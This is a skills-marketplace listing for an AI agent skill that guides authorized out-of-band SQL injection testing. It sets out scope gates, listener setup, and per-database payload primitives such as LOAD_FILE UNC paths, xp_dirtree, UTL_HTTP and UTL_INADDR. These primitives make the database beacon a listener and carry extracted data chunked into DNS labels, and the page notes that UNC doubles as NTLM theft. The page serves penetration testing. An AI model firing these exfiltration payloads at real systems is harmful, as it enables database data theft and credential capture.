# Hunt Sqli Oob

> Out-of-band extraction expert of the sqli split: nothing renders and

- Skill: `encod3d-sec/hunt-sqli-oob` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-sqli-oob`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-sqli-oob/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-sqli-oob

---


# Hunt: SQLi - OOB expert (microskill)

Out-of-band extraction expert of the sqli split: nothing renders and
timing is too slow - the database itself makes an outbound call
carrying the data in the DNS name or HTTP path. The core (hunt-sqli)
owns mapping and the sqlmap contract; this skill owns the egress
primitives and the beacon ledger discipline.

Load-bearing ideas: (1) an OOB claim REQUIRES a HIT row in oob.md - a
payload that "should have fired" is nothing; (2) egress egress
egress: verify the DB box can reach your listener at all (a
firewalled egress path is the #1 deadend); (3) DNS carries ~63 bytes
per label - chunk and encode accordingly.

## Wiki

Hub: [[sql-injection]] - Primary page: [[sql-injection]]
Anchors: the OOB section of [[sql-injection]]
**REFS:** [[sql-injection]]

qmd on hint only: "out of band sqli dns exfil load_file unc
xp_dirtree utl_http" - the sqli page first.

Shared obfuscation arsenal: `hunt-sqli/references/waf-bypass.md` -
per-DBMS OOB table (MySQL DNS = Windows-only UNC; Linux MySQL OOB
dead -> blind channels; UNC doubles as NTLM theft), DNS label budget
~63 chars (chunk or base32).

## Paths (binding - shared with the core run)

    # seat side (wsl):
    ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/sqli/<host>          # SHARED with hunt-sqli
    # VM side:
    ENG_DIR=/mnt/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/sqli/<host>

Experts write probes/sqli-oob.jsonl into the core's $RUN tree. The
beacon ledger lives at targets/<eng>/oob.md (token | sink | class |
planted | status | source) - the engagement-wide OOB contract.

## Transport

Every VM-native command block ships through ONE documented transport:

    wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"

- vm-ssh lands as user tz (NOT root); one argument per call; quotes
  ship as base64 (`echo <b64> | base64 -d | bash`).
- Target-facing curls MUST use /opt/scope-shim/bin/curl by absolute
  path; out-of-scope dies rc 126 (never work around); UNKNOWN =
  ADVISORY, self-deny.
- Listener: /home/tz/go/bin/interactsh-client (v1.2.0) detached
  (vm-bg.sh); the listener domain prefixes every payload; poll the
  interactsh session file for HITs. The listener is a HARD gate here
  (OOB-mandatory skill) - the preflight block owns its install line.
- sqlmap escalation lives in the CORE's canonical contract - BY
  REFERENCE, never a second copy here.

## Entry gate

All four must pass; each is falsifiable:

1. Active engagement exists; the injection point is on
   targets/<eng>/scope.md in-scope. Scope-guard is the deny.
2. hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
3. Core verified: $RUN/raw/vector-map.md exists AND the core pointer
   carries SQLI-HUNT-DONE with oob named in next=. Missing = dispatch
   hunt-sqli core first.
4. Toolchain preflight (fails LOUD):

       for t in /usr/bin/jq /usr/bin/python3 \
                 /opt/scope-shim/bin/curl; do
         [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; }
       done
       [ -x /home/tz/go/bin/interactsh-client ] \
         || { echo "MISSING TOOL: interactsh-client (install: go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0)"; exit 1; }

## Checklist (mandatory)

Copy checklist.md (this skill's dir) to
`$ENG_DIR/hunt/sqli/<host>/sqli-oob-checklist.md` at run start.
Unchecked at stop = UNCHECKED lane, re-run from the first unchecked
step. SKILL.md and the checklist header agree byte-for-byte on that
copy target.

## Nudge

Review-skill re-injection text (pinned; NOTE: completion-gate emits
its own generic nudge - both mean: resume at the first unchecked box):

    Your work was just reviewed by the review skill and it was found
    that you either missed a step of analysis, or didn't generate an
    artifact of sufficient proof. Look at the markdown based checklist
    and the output for each step, find what you missed, and complete
    that step.

## Confirmation gate

**NOT confirmation:** a payload planted; "the DNS should have
resolved"; a listener that was not running when the query executed.

**IS confirmation:** a HIT row in targets/<eng>/oob.md - the listener
logged the beacon carrying YOUR token, ideally carrying extracted
data (version/user in the subdomain), reproduced from your own
written steps.

## Methodology

### Step 1 - Listener + ledger

interactsh-client detached; listener domain recorded; oob.md row
planted per beacon (token names the injection point). Egress probe
FIRST: fire a trivial canary (a payload that only resolves the
listener domain) before building any extraction - no canary hit =
egress is dead, close with evidence.

### Step 2 - Engine primitives

- MySQL (Windows): `LOAD_FILE('\\\\<listener>\\canary')` (UNC path
  - SMB, Windows DB hosts only); LOAD_FILE + dns-suffix tricks on
  Linux where plugin paths allow.
- MSSQL: `xp_dirtree('\\<listener>\\canary')`, `xp_fileexist`;
  (xp_cmdshell usually disabled - do not grind it).
- Oracle: `UTL_HTTP.request('http://<listener>/canary')`,
  `UTL_INADDR.gethostaddress('<token>.<listener>')`.
- Postgres: `COPY ... TO PROGRAM` / dblink shapes where permitted.
- Data-carrying: embed the value in the hostname chunk-wise
  (`<hex-chunk>.<token>.<listener>`, <=63 bytes per label).

### Step 3 - Bounded extraction

Canary -> version/user beacon (verify the value in the DNS log) ->
the core's ranked targets, chunked. Every HIT appends its oob.md row
flip (status planted -> HIT) + a probe row citing the listener log.

### Step 4 - Exit

Append rows to the core's $RUN/candidates.jsonl;
`SQLI-OOB-DONE canary=<hit|miss> hits=<n> values=<n>` appended to the
core pointer $ENG_DIR/hunt-sqli-<host>.md; _requests.md rows (lane =
hunt-sqli-oob); Deadends per failed egress path (record WHICH path
was blocked).

## Chaining

- Canary dead (egress blocked) -> hunt-sqli-time (the only remaining
  blind channel).
- The OOB sink is an HTTP fetch by the app -> cross-check
  hunt-ssrf joint row.
- sqlmap when manual bounds exceed: the CORE's contract
  (--technique=O with --dns-domain when you control one).

## Validation

- Proof = listener-log HIT with your token; extracted values verified
  against a second source where possible (banner).
- Negative control: the same payload with a bogus TLD never appears.

## False Positives

- Corporate DNS resolving wildcards (everything "hits") - test with a
  random nonexistent token first.
- A HIT from your OWN tooling (recon lanes resolving the domain) -
  the token names the point, check the source.
- SMB canary hitting from a different host (middlebox).

## Severity

CRITICAL = credential/sensitive extraction over the beacon. HIGH =
canary + version/user. MEDIUM = canary only (egress proof).

## N/A escapes

- "N/A: no outbound egress" (canary-miss evidence recorded)
An N/A tick is a claim with a reason, never a silent pass. Identical
strings in SKILL.md and checklist.md.

## Bitter-pill variant

Freehand run: skip checklist + numbered steps, one freehand pass over
the vector map, output ONLY $RUN/analysis/bitter-pill.md. The HIT-row
gate survives freehand. Declare with a _requests.md row (lane =
hunt-sqli-oob-bitterpill).

### Depth walk (mandatory)

Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in `$RUN/coverage-depth.md` as a table
`| row | state | evidence |` where state is `probed`, `blocked`, or
`N/A`, and evidence is a probe-pair path or a Deadends.md line. A bare
`probed` with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).

Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one `mcp__wigolo__search` for the
specific tech-plus-control bypass. Results, or a genuine null, land in
`coverage-depth.md`. "No research tried" is not a claimable state.

## Exit artifact + handoff

Appends into the shared core $RUN: probes/sqli-oob.jsonl,
candidates.jsonl rows, pointer line SQLI-OOB-DONE. oob.md HIT rows at
targets/<eng>/oob.md. Consumer: triage. Findings leave ONLY through
G1. Distill: `python3 scripts/wiki-stage.py --kind technique --slug
<slug> --target-page techniques/web/sql-injection.md`.

## Stop conditions

All steps terminal; HIT-row proof on every claim; listener torn down
after the run; nothing written into skill dirs; no unchecked boxes
above REVIEW; hunt-core stop conditions fire unchanged.

## Attack surface

**APPROACH:** Hit login/search/sort/report params first; probe every quote context, take in-band (error/UNION) before blind (boolean/time), confirm in 1-2 manual requests then hand the dump to sqlmap (scoped, gentle, resume).
**AVOID:** A generic 500, a WAF "SQL injection detected" string, an un-reproduced time delta, or a single-session login oracle is NOT confirmation - re-verify in a clean session, clear the cookie on a login oracle.

## Cross-routing

- Load hunt-auth for auth-bypass outcomes of the injection.
- Load hunt-cloud when the DB is managed-cloud (different blast radius/escalation).
- Not this skill: NoSQL/GraphQL operator shapes (hunt-injection).

